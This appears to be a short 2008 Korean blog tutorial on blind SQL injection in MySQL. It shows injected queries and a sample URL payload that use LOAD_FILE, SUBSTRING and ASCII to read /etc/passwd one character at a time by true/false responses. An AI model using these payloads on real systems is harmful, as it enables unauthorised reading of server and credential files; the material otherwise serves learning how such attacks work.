blind injection basic~
웹/공격 2008. 11. 18. 10:09 |mysql에서는 load_file을 통해 system file을 include 할 수 있다.
하지만 이 방법을 사용하는데는 공격에 필요한 정보의 획득을 방해하는 중요한(작업중 흔히 접하는) 제약이 존재한다.
성공적으로 파일을 불러오기 위해서는 union 사용하여 필드 개수를 정확히 알아야하며 load_file을 출력될 파일보다
큰 크기를 가지는 필드의 위치를 알아야 한다.
크기가 1000byte인 파일을 필드크기가 500byte인 필드에 출력하면 파일의 절반이 출력 불가능 하다는 소리
SecurityProof에는 이러한 필드크기의 제약을 우회하기 위해 substring 함수를 통해 작은 필드에서 큰 파일을 불러오는 방법을 기술한 문서가 존재한다.
하지만 이 작업 역시 상당한 삽질이 필요하다
그러던 차에 버그트럭에서 load_file을 이용하여 시스템의 모든 파일을 불러오는 프로그램에 대한 정보를 얻었다.
select * from member where email='' AND '1' = '1' AND '1'='1'
select * from member where email='' AND '1' = '2' AND '1'='1'
select * from member where email='' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=0 AND '1'='1'
select * from member where email='' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=97 AND '1'='1'
select * from member where email='' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=98 AND '1'='1'
select * from member where email='' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=99 AND '1'='1'
select * from member where email='' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=100 AND '1'='1'
만약 http://192.168.0.1/b.php라고 했을때
http://192.168.0.1/b.php?id=1' AND ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=97 AND '1'='1' 으로 구성하여 파일의 내용을 출력할 수 있다.
SQL Query는 '참이 되면 출력되는 언어'인데
ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))=99
SUBSTRING을 통해 /etc/passwd에서 첫번째 문자부터 한 문자를 읽어온 후 이를 ASCII함수를 통해 숫자로 변환하게 된다.
만약 첫번째 문자의 한 문자가 a(ascii:97)라면 위의 AND문은 모두 참이 된다면 웹으로 정상적인 결과과 출력된다.
결과가 참이 아니라면 참이 될때까지 ascii가 증가하고 참이 되는경우 substring의 수를 증가시켜 2번째 문자를 가져와 a와 비교하면 된다.
이러한 방법을 이용하면 결과적으로 파일의 모든 내용을 가져올 수 있다.